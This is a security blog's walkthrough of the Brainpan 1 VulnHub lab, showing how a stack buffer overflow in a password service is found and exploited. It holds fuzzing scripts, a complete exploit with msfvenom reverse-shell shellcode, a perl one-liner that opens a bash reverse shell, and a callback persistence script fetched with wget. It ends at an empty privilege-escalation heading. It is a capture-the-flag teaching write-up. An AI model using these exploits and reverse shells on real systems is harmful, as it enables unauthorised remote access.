seekorswim My Security Blog

Brainpan: 1

VulnHub URL: https://www.vulnhub.com/entry/brainpan-1,51/
Hostname: brainpan
IP Address: 10.183.0.203


Information Gathering/Recon


The IP address is obtained via DHCP at boot. In my case, the IP is 10.183.0.203.


Service Enumeration/Scanning


root@kali:~/Walkthroughs/brainpan# nmap -Pn -sT -sV -sC -A -oA brainpan -p 1-65535 10.183.0.203
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-22 23:23 EDT
Nmap scan report for brainpan.homenet.dom (10.183.0.203)
Host is up (0.0028s latency).
Not shown: 65533 closed ports
PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
| fingerprint-strings:
|   NULL:
|     _| _|
|     _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
|     _|_| _| _| _| _| _| _| _| _| _| _| _|
|     _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
|     [________________________ WELCOME TO BRAINPAN _________________________]
|_    ENTER THE PASSWORD
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.70%I=7%D=4/22%Time=5CBE8521%P=x86_64-pc-linux-gnu%r(NU
SF:LL,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\|_\|
SF:\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\
SF:x20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_\|\x
SF:20\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x
SF:20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x
SF:20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x20_\|
SF:\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x
SF:20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x
SF:20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x20\x
SF:20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20_
SF:\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x20\x
SF:20_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRAINPAN\x
SF:20_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENTER\x
SF:20THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20>>\x20");
MAC Address: 08:00:27:06:7A:58 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   2.80 ms brainpan.homenet.dom (10.183.0.203)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.07 seconds


Gaining Access


The service available on TCP port 9999 is returning lots of hex characters. Let's use netcat to capture the information being sent and see what we've got.

root@kali:~/Walkthroughs/brainpan# nc 10.183.0.203 9999 > tcp9999.bin
^C
root@kali:~/Walkthroughs/brainpan# vim tcp9999.bin
_|                            _|
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD

                          >>

Looks like we have a non-standard login interface. We obviously don't have the password for this (yet?), so we'll have to come back to it.

There is a python SimpleHTTP service listening on TCP port 10000.

root@kali:~/Walkthroughs/brainpan# nikto -h http://10.183.0.203:10000
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.183.0.203
+ Target Hostname:    10.183.0.203
+ Target Port:        10000
+ Start Time:         2019-04-23 00:01:04 (GMT-4)
---------------------------------------------------------------------------
+ Server: SimpleHTTP/0.6 Python/2.7.3
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Python/2.7.3 appears to be outdated (current is at least 2.7.8)
+ SimpleHTTP/0.6 appears to be outdated (current is at least 1.2)
+ OSVDB-3268: /bin/: Directory indexing found.
+ OSVDB-3092: /bin/: This might be interesting...
+ ERROR: Error limit (20) reached for host, giving up. Last error: invalid HTTP response
+ Scan terminated:  20 error(s) and 7 item(s) reported on remote host
+ End Time:           2019-04-23 00:01:35 (GMT-4) (31 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

The versions of Python and SimpleHTTP identified don't have known exploits in the exploit database.

The /bin directory only contains a single EXE file.



Let's download the EXE and dig into it to see if we can find anything useful.

root@kali:~/Walkthroughs/brainpan# wget http://10.183.0.203:10000/bin/brainpan.exe
root@kali:~/Walkthroughs/brainpan# strings brainpan.exe > brainpan.exe.strings
root@kali:~/Walkthroughs/brainpan# vim brainpan.exe.strings

Looking through the strings, this EXE appears to be the same one running on TCP port 9999. We also see a potential password "sh**storm" (** added by me for the obvious reasons).

I try connecting to the service on TCP port 9999 using netcat and passing it the password.

root@kali:~/Walkthroughs/brainpan# nc -v 10.183.0.203 9999
brainpan.homenet.dom [10.183.0.203] 9999 (?) open
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              

                          >> sh**storm
                          ACCESS GRANTED

The message returned is "ACCESS GRANTED", but then I just get disconnected. So, that seems worthless.

So, we have a non-standard login service on TCP port 9999. We have the service's EXE available on TCP port 10000. The login service accepts user input, but doesn't seem to do anything with it (wether you login "correctly" or not). I guess the next thing to try is to crash the service and see if we might have a buffer overflow to exploit.

To do this, we'll start by creating a simple python script to send more and more 'A's until we crash the service. This will give us an idea about how much data it takes to overflow the register. Also, since we have the EXE we want to test, we'll run it and debug it on a Windows machine (10.183.0.187) rather than crashing the service on our target.

root@kali:~/Walkthroughs/brainpan# cat fuzz.py
#!/usr/bin/python
import socket

# create an array of buffers (31), from 1,100,200...3000 (increments of 100).
buffer=["A"]
counter=100
while len(buffer) <= 30:
  buffer.append("A"*counter)
  counter=counter+100

# start sending each buffer to see if/when the service crashes
for string in buffer:
  try:
    print "Fuzzing with %s bytes" % len(string)
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(2)
    s.connect(('10.183.0.187',9999))
    s.recv(1024)
    s.send(string + '\n')
    s.close()
  except:
    print "Could not connect to TCP port 9999"
    break

We will start brainpan.exe on our Windows machine...



Then start Immunity Debugger and File -> Attach to the brainpan.exe



Once attached, we'll hit F9 in Immunity Debugger to go from Paused to Running.

Now, we can return to our attacking machine and run our fuzzer.

root@kali:~/Walkthroughs/brainpan# python fuzz.py
Fuzzing with 1 bytes
Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzing with 700 bytes
Could not connect to TCP port 9999

When we run our script, we see that things die at around 700 bytes. Actually, we crashed the service at 600 bytes, then failed to connect when we started our loop to send 700 bytes. Checking our debugger, we see we were able to overflow the EIP (Extended Instruction Pointer) with As (\x41). Controlling the EIP is key in an overflow attack.



Knowing this, we can create a unique string to send to the program and find out exactly how many As to send before setting the EIP. To do this, we use the mona module inside Immunity Debugger. We'll create a unique string of 650 characters (since we know the crash happened at around 600).

In the command bar at the bottom of Immunity Debugger, we enter

!mona pc 650



Now, we'll take the unique string generated by mona and use it in our python script (instead of As).

root@kali:~/Walkthroughs/brainpan# cat overflow.py
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av"

try:
  print "Sending evil buffer..."
  s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.settimeout(2)
  s.connect(('10.183.0.187',9999))
  s.recv(1024)
  s.send(buffer + '\n')
  print "Done!"
except:
  print "Could not connect to TCP port 9999"

We'll restart brainpan.exe and Immunity Debugger on our Windows machine then re-attach and press F9. Now, let's send our unique string.

root@kali:~/Walkthroughs/brainpan# python overflow.py
Sending evil buffer...
Done!

Nothing fancy in the output here. Let's check the debugger.



The EIP now has a string of 35724134 (hex). Looking down in our memory dump, we see that corresponds to "4Ar5" (ascii). Let's use mona to see how many bytes into our unique string "4Ar5" occurs.

!mona po 4Ar5



Mona tells us the string occurs at position 524. Now we know we need to use 524 As to overflow into the EIP. Let's test that. This time we'll send 524 As, then 4 Bs (which should fit perfectly into our EIP, then 500 Cs and a single D. We are going to send 500 Cs to see if we can overflow enough space for the exploit we want to send later (which will take about 300-400 bytes). We are putting the single D on the end to make sure all 500 Cs made it (without having to count).

root@kali:~/Walkthroughs/brainpan# cat overflow2.py
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = "A"*524 + "B"*4 + "C"*500 + "D"

try:
  print "Sending evil buffer..."
  s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.settimeout(2)
  s.connect(('10.183.0.187',9999))
  s.recv(1024)
  s.send(buffer + '\n')
  print "Done!"
except:
  print "Could not connect to TCP port 9999"

We'll restart brainpan.exe and Immunity Debugger on our Windows machine then re-attach and press F9. Now, let's send our updated buffer and check the registers.



Nice! We overflowed with As (\x41) right up to our EIP, filled the EIP with Bs (\x42) and then carved out space for our exploit with Cs (\x43) in the ESP (stack pointer). Scrolling down in our memory stack, we don't see our final D. Our Cs start at memory address 0028F930 and end at address 0028FB08. Doing some hex math (FB08 - F930), that means we have 472 bytes to work with. That should still be enough for our exploit code, but we are cutting it close.

Now that we know the format of what we want to send, we need to do a couple more things. 1) We need to know if there are any bad characters our exploit code shouldn't use and 2) we need to know if there is a JMP ESP command we can use for our EIP (rather than trying to hard code a memory address).

Let's start by identifying any bad characters. Again, we'll use mona to generate a byte array of all the possible bad characters. We'll then send the list in place of the Cs and see if any fail to fill the stack.

The mona command we'll use to build our byte array is...

!mona bytearray -b '\x00'

We went ahead and excluded the notoriously bad null character (\x00).



We can pull the byte array from the C:\Logs\brainpan\bytearray.txt file mona created and use it in our python script.

root@kali:~/Walkthroughs/brainpan# cat overflow3.py
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

buffer = "A"*524 + "B"*4 + badchars

try:
  print "Sending evil buffer..."
  s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.settimeout(2)
  s.connect(('10.183.0.187',9999))
  s.recv(1024)
  s.send(buffer + '\n')
  print "Done!"
except:
  print "Could not connect to TCP port 9999"

We'll restart brainpan.exe and Immunity Debugger on our Windows machine then re-attach and press F9. Now, let's send the bad chars and check the registers.



We'll use mona to help us check to see that all the bad chars made it to the stack. To do this, we need take note of the ESP address (0028F930). Now, we'll run the following mona command.

!mona compare -f C:\Logs\brainpan\bytearray.bin -a 0028F930



Mona tells us the byte array is unmodified in the stack, so all the "bad" characters made it through. That will give us more flexibility when encoding our payload with msfvenom later.

The last thing we need to do is see if our application (or one of its associated libraries) have a non-ASLR or DEP protected module we can use to jump to the ESP. Again, mona can help us identify the modules available.

!mona modules



Looks like our only option is going to be the brainpan.exe itself. There are two ways we can search for the location of JMP ESP in the brainpan.exe.

1) Use objdump

root@kali:~/Walkthroughs/brainpan# objdump -D brainpan.exe | grep -i jmp | grep -i esp
311712f3:       ff e4                   jmp    *%esp

2) Use mona

!mona find -s "\xff\xe4" -m brainpan.exe



In both cases, we end up with the address 311712f3. In Immunity Debugger, we can also jump to that address and confirm.



We'll run one more test with our python script to confirm we can set the EIP to the JMP ESP address and have it end up at the ESP.

root@kali:~/Walkthroughs/brainpan# cat overflow4.py
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# JMP ESP address = 0x311712F3 = \x31\x17\x12\xF3
# Because of Little Endian, we need to reverse the address to \xF3\x12\x17\x31

buffer = "A"*524 + "\xF3\x12\x17\x31" + "C"*467 + "D"

try:
  print "Sending evil buffer..."
  s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.settimeout(2)
  s.connect(('10.183.0.187',9999))
  s.recv(1024)
  s.send(buffer + '\n')
  print "Done!"
except:
  print "Could not connect to TCP port 9999"

We'll restart brainpan.exe and Immunity Debugger on our Windows machine then re-attach and press F9. Now, let's send our last test and check the registers.



Down in the memory stack, in between the As and the Cs we can see our JMP ESP address (F3 on one line, then 12 17 31, reading from right to left). We can also see the EIP is set to the memory address at the end of all our Cs.

Time to replace our Cs with actual shell code. We will generate our shell code with msfvenom, excluding the one bad character we want to avoid (\x00).

root@kali:~/Walkthroughs/brainpan# msfvenom -p windows/shell_reverse_tcp LHOST=10.183.0.222 LPORT=5432 -f c –e x86/shikata_ga_nai -b "\x00"
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1500 bytes
unsigned char buf[] =
"\xd9\xc2\xba\x51\x6d\x04\x76\xd9\x74\x24\xf4\x5b\x31\xc9\xb1"
"\x52\x31\x53\x17\x03\x53\x17\x83\x92\x69\xe6\x83\xe8\x9a\x64"
"\x6b\x10\x5b\x09\xe5\xf5\x6a\x09\x91\x7e\xdc\xb9\xd1\xd2\xd1"
"\x32\xb7\xc6\x62\x36\x10\xe9\xc3\xfd\x46\xc4\xd4\xae\xbb\x47"
"\x57\xad\xef\xa7\x66\x7e\xe2\xa6\xaf\x63\x0f\xfa\x78\xef\xa2"
"\xea\x0d\xa5\x7e\x81\x5e\x2b\x07\x76\x16\x4a\x26\x29\x2c\x15"
"\xe8\xc8\xe1\x2d\xa1\xd2\xe6\x08\x7b\x69\xdc\xe7\x7a\xbb\x2c"
"\x07\xd0\x82\x80\xfa\x28\xc3\x27\xe5\x5e\x3d\x54\x98\x58\xfa"
"\x26\x46\xec\x18\x80\x0d\x56\xc4\x30\xc1\x01\x8f\x3f\xae\x46"
"\xd7\x23\x31\x8a\x6c\x5f\xba\x2d\xa2\xe9\xf8\x09\x66\xb1\x5b"
"\x33\x3f\x1f\x0d\x4c\x5f\xc0\xf2\xe8\x14\xed\xe7\x80\x77\x7a"
"\xcb\xa8\x87\x7a\x43\xba\xf4\x48\xcc\x10\x92\xe0\x85\xbe\x65"
"\x06\xbc\x07\xf9\xf9\x3f\x78\xd0\x3d\x6b\x28\x4a\x97\x14\xa3"
"\x8a\x18\xc1\x64\xda\xb6\xba\xc4\x8a\x76\x6b\xad\xc0\x78\x54"
"\xcd\xeb\x52\xfd\x64\x16\x35\x08\xce\x18\x1b\x64\x32\x18\xb6"
"\x4d\xbb\xfe\xd2\xbd\xed\xa9\x4a\x27\xb4\x21\xea\xa8\x62\x4c"
"\x2c\x22\x81\xb1\xe3\xc3\xec\xa1\x94\x23\xbb\x9b\x33\x3b\x11"
"\xb3\xd8\xae\xfe\x43\x96\xd2\xa8\x14\xff\x25\xa1\xf0\xed\x1c"
"\x1b\xe6\xef\xf9\x64\xa2\x2b\x3a\x6a\x2b\xb9\x06\x48\x3b\x07"
"\x86\xd4\x6f\xd7\xd1\x82\xd9\x91\x8b\x64\xb3\x4b\x67\x2f\x53"
"\x0d\x4b\xf0\x25\x12\x86\x86\xc9\xa3\x7f\xdf\xf6\x0c\xe8\xd7"
"\x8f\x70\x88\x18\x5a\x31\xb8\x52\xc6\x10\x51\x3b\x93\x20\x3c"
"\xbc\x4e\x66\x39\x3f\x7a\x17\xbe\x5f\x0f\x12\xfa\xe7\xfc\x6e"
"\x93\x8d\x02\xdc\x94\x87";

Our payload is 351 bytes, which is enough to fit into our overflowable space. Let's add the shell code to our python script and see if we can pop this service.

root@kali:~/Walkthroughs/brainpan# cat overflow-final.py
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# generated with the following msfvenom command
# msfvenom -p windows/shell_reverse_tcp LHOST=10.183.0.222 LPORT=5432  [...]
payload=(
"\xd9\xc2\xba\x51\x6d\x04\x76\xd9\x74\x24\xf4\x5b\x31\xc9\xb1"
"\x52\x31\x53\x17\x03\x53\x17\x83\x92\x69\xe6\x83\xe8\x9a\x64"
"\x6b\x10\x5b\x09\xe5\xf5\x6a\x09\x91\x7e\xdc\xb9\xd1\xd2\xd1"
"\x32\xb7\xc6\x62\x36\x10\xe9\xc3\xfd\x46\xc4\xd4\xae\xbb\x47"
"\x57\xad\xef\xa7\x66\x7e\xe2\xa6\xaf\x63\x0f\xfa\x78\xef\xa2"
"\xea\x0d\xa5\x7e\x81\x5e\x2b\x07\x76\x16\x4a\x26\x29\x2c\x15"
"\xe8\xc8\xe1\x2d\xa1\xd2\xe6\x08\x7b\x69\xdc\xe7\x7a\xbb\x2c"
"\x07\xd0\x82\x80\xfa\x28\xc3\x27\xe5\x5e\x3d\x54\x98\x58\xfa"
"\x26\x46\xec\x18\x80\x0d\x56\xc4\x30\xc1\x01\x8f\x3f\xae\x46"
"\xd7\x23\x31\x8a\x6c\x5f\xba\x2d\xa2\xe9\xf8\x09\x66\xb1\x5b"
"\x33\x3f\x1f\x0d\x4c\x5f\xc0\xf2\xe8\x14\xed\xe7\x80\x77\x7a"
"\xcb\xa8\x87\x7a\x43\xba\xf4\x48\xcc\x10\x92\xe0\x85\xbe\x65"
"\x06\xbc\x07\xf9\xf9\x3f\x78\xd0\x3d\x6b\x28\x4a\x97\x14\xa3"
"\x8a\x18\xc1\x64\xda\xb6\xba\xc4\x8a\x76\x6b\xad\xc0\x78\x54"
"\xcd\xeb\x52\xfd\x64\x16\x35\x08\xce\x18\x1b\x64\x32\x18\xb6"
"\x4d\xbb\xfe\xd2\xbd\xed\xa9\x4a\x27\xb4\x21\xea\xa8\x62\x4c"
"\x2c\x22\x81\xb1\xe3\xc3\xec\xa1\x94\x23\xbb\x9b\x33\x3b\x11"
"\xb3\xd8\xae\xfe\x43\x96\xd2\xa8\x14\xff\x25\xa1\xf0\xed\x1c"
"\x1b\xe6\xef\xf9\x64\xa2\x2b\x3a\x6a\x2b\xb9\x06\x48\x3b\x07"
"\x86\xd4\x6f\xd7\xd1\x82\xd9\x91\x8b\x64\xb3\x4b\x67\x2f\x53"
"\x0d\x4b\xf0\x25\x12\x86\x86\xc9\xa3\x7f\xdf\xf6\x0c\xe8\xd7"
"\x8f\x70\x88\x18\x5a\x31\xb8\x52\xc6\x10\x51\x3b\x93\x20\x3c"
"\xbc\x4e\x66\x39\x3f\x7a\x17\xbe\x5f\x0f\x12\xfa\xe7\xfc\x6e"
"\x93\x8d\x02\xdc\x94\x87")

# JMP ESP address = 0x311712F3 = \x31\x17\x12\xF3
# Because of Little Endian, we need to reverse the address to \xF3\x12\x17\x31
jmp_esp="\xF3\x12\x17\x31"

# a NOP slide (no operation instruction - "\x90") will ensure the start of
# our shell code isn't overwritten
# when hitting these instructions, control will "slide" down to our exploit code
nop_slide="\x90"*16

buffer = "A"*524 + jmp_esp + nop_slide + payload + "C"*(472 - 16 - 351)

try:
  print "Sending evil buffer..."   
  s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.settimeout(2)
  s.connect(('10.183.0.187',9999))
  s.recv(1024)
  s.send(buffer + '\n')
  print "Done!"
except:
  print "Could not connect to TCP port 9999"

Before testing our exploit, we'll start our listener in Metasploit.

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/shell_reverse_tcp
payload => windows/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.183.0.222
LHOST => 10.183.0.222
msf5 exploit(multi/handler) > set LPORT 5432
LPORT => 5432
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.


[*] Started reverse TCP handler on 10.183.0.222:5432

Time to restart brainpan.exe and Immunity Debugger on our Windows machine then re-attach and press F9 one last time. Overflow to shell?

msf5 exploit(multi/handler) > [*] Command shell session 1 opened (10.183.0.222:5432 -> 10.183.0.187:49212) at 2019-04-24 16:49:05 -0400

msf5 exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type               Information  Connection
  --  ----  ----               -----------  ----------
  1         shell x86/windows               10.183.0.222:5432 -> 10.183.0.187:49212 (10.183.0.187)

msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

Nice! Worked against my testing Windows machine. Now let's change the IP address in our python script and try it against 10.183.0.203.

Before running it, I'll kill my session in Metasploit and restart the listener. Overflow to shell of 10.183.0.203?

msf5 exploit(multi/handler) > [*] Command shell session 2 opened (10.183.0.222:5432 -> 10.183.0.203:34361) at 2019-04-24 16:55:36 -0400

msf5 exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type               Information                      Connection
  --  ----  ----               -----------                      ----------
  2         shell x86/windows  CMD Version 1.4.1 Z:\home\puck>  10.183.0.222:5432 -> 10.183.0.203:34361 (10.183.0.203)

msf5 exploit(multi/handler) > sessions 2
[*] Starting interaction with 2...

Z:\home\puck>

Yes! We have access.

Our exploit drops us into a wine command shell. We'd prefer to break out into a regular bash shell. Thankfully, we are able to navigate back to the underlying Linux system's root (on the Z: drive) and run native commands.

I'll start another listener in Metasploit for a regular reverse shell and then call the native perl to spawn a bash reverse shell.

Z:\home\puck>Z:\usr\bin\perl -e "use Socket;$i='10.183.0.222';$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/bash -i');};"

Z:\home\puck>[*] Command shell session 3 opened (10.183.0.222:5433 -> 10.183.0.203:45345) at 2019-04-24 17:01:44 -0400
msf5 exploit(multi/handler) > sessions 3
[*] Starting interaction with 3...

puck@brainpan:~$ id
uid=1002(puck) gid=1002(puck) groups=1002(puck)


Maintaining Access


The host doesn't have SSH access available, so I decided to create a simple shell script that will try to connect back to my attacking machine every 5 minutes and use python's SimpleHTTPServer to serve it up to the victim.

root@kali:~/Walkthroughs/brainpan# cat thumbs
#!/bin/sh
while true; do
    perl -e 'use Socket;$i="10.183.0.222";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
    # sleep for 300 seconds (5 mins)
    sleep 300
done
root@kali:~/Walkthroughs/brainpan# python -m SimpleHTTPServer 4321
Serving HTTP on 0.0.0.0 port 4321 ...
10.183.0.203 - - [24/Apr/2019 17:08:35] "GET /thumbs HTTP/1.1" 200 -

I downloaded the script to the victim's /home/puck/web directory and ran it in the background. Now, if I get disconnected, I should be able to restart a listener and get back in within 5 minutes.

puck@brainpan:~/web$ wget -O thumbs 10.183.0.222:4321/thumbs
--2019-04-24 16:08:35--  http://10.183.0.222:4321/thumbs
Connecting to 10.183.0.222:4321... connected.
HTTP request sent, awaiting response... 200 OK
Length: 309 [application/octet-stream]
Saving to: `thumbs'

     0K                                                       100% 47.4M=0s

2019-04-24 16:08:35 (47.4 MB/s) - `thumbs' saved [309/309]

puck@brainpan:~/web$ chmod +x thumbs
puck@brainpan:~/web$ ./thumbs &
[1] 2147


Privilege Escalation


